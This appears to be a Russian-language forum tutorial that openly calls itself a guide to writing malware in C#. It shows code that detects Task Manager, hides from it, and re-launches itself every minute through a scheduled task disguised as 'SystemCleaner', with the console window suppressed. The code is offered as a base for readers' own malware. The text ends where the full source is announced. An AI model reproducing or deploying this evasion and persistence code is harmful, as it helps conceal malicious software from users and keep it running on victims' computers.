Сразу проясню: для людей, которые хорошо знают C# и не в первый раз пишут мальварь - советую пропустить данную статью. Приступим. Создал три объекта в теле класса Program: static string[] processes = { "Taskmgr" }; static int time_s = 1; static string name_s = "SystemCleaner"; Код static string[] processes = { "Taskmgr" }; static int time_s = 1; static string name_s = "SystemCleaner"; Массив строк (processes) - название процессов (чувствительно к регистру). Integer (time_s) - время в минутах до перезапуска процесса (целое число). Строка (name_s) - имя, под которой задача будет создана в планировщике заданий. Далее создал асинхронный зацикленный процесс проверки с паузой, чтобы не грузило CPU: static async void HiddenWork() { while (true) { if (!Check()) PostRun(true); await Task.Delay(100); } } Код static async void HiddenWork() { while (true) { if (!Check()) PostRun(true); await Task.Delay(100); } } Пишем метод Check (проверка процессов): static bool Check() { try { int i = 0; foreach (Process proc in Process.GetProcesses()) { foreach (string str in processes) { if (proc.ProcessName == str) i++; } } if (i > 0) return false; else return true; } catch (Exception) { } return true; } Код static bool Check() { try { int i = 0; foreach (Process proc in Process.GetProcesses()) { foreach (string str in processes) { if (proc.ProcessName == str) i++; } } if (i > 0) return false; else return true; } catch (Exception) { } return true; } Метод PostRun (отложенный запуск): static void PostRun(bool mode) { string args; if (mode) args = $"/create /tn {name_s} /tr {Process.GetCurrentProcess().MainModule.FileName} /sc minute /mo {time_s}"; else args = $"/delete /tn {name_s} /f"; ProcessStartInfo pi = new ProcessStartInfo("Schtasks.exe") { Arguments = args, CreateNoWindow = true, UseShellExecute = true }; Process task = new Process() { StartInfo = pi }; task.Start(); if(mode) Environment.Exit(0); } Код static void PostRun(bool mode) { string args; if (mode) args = $"/create /tn {name_s} /tr {Process.GetCurrentProcess().MainModule.FileName} /sc minute /mo {time_s}"; else args = $"/delete /tn {name_s} /f"; ProcessStartInfo pi = new ProcessStartInfo("Schtasks.exe") { Arguments = args, CreateNoWindow = true, UseShellExecute = true }; Process task = new Process() { StartInfo = pi }; task.Start(); if(mode) Environment.Exit(0); } Для чего я передаю аргументы в этот метод? - Все просто, чтобы с помощью одного метода можно было как удалять задачу из планировщика, так и создавать ее, если я передаю значение true - задача создается, и наоборот. После запуска приложения вызывайте этот метод с аргументом false, чтобы удалить его. И да, кто не знал - чтобы не было окна консоли измените тип приложения с консольного на приложение Windows. Метод, конечно же, нуждается в доработке. Данный код был написан за 5 минут (да-да, оправдания ;D), это база для Ваших размышлений. Сурс полностью: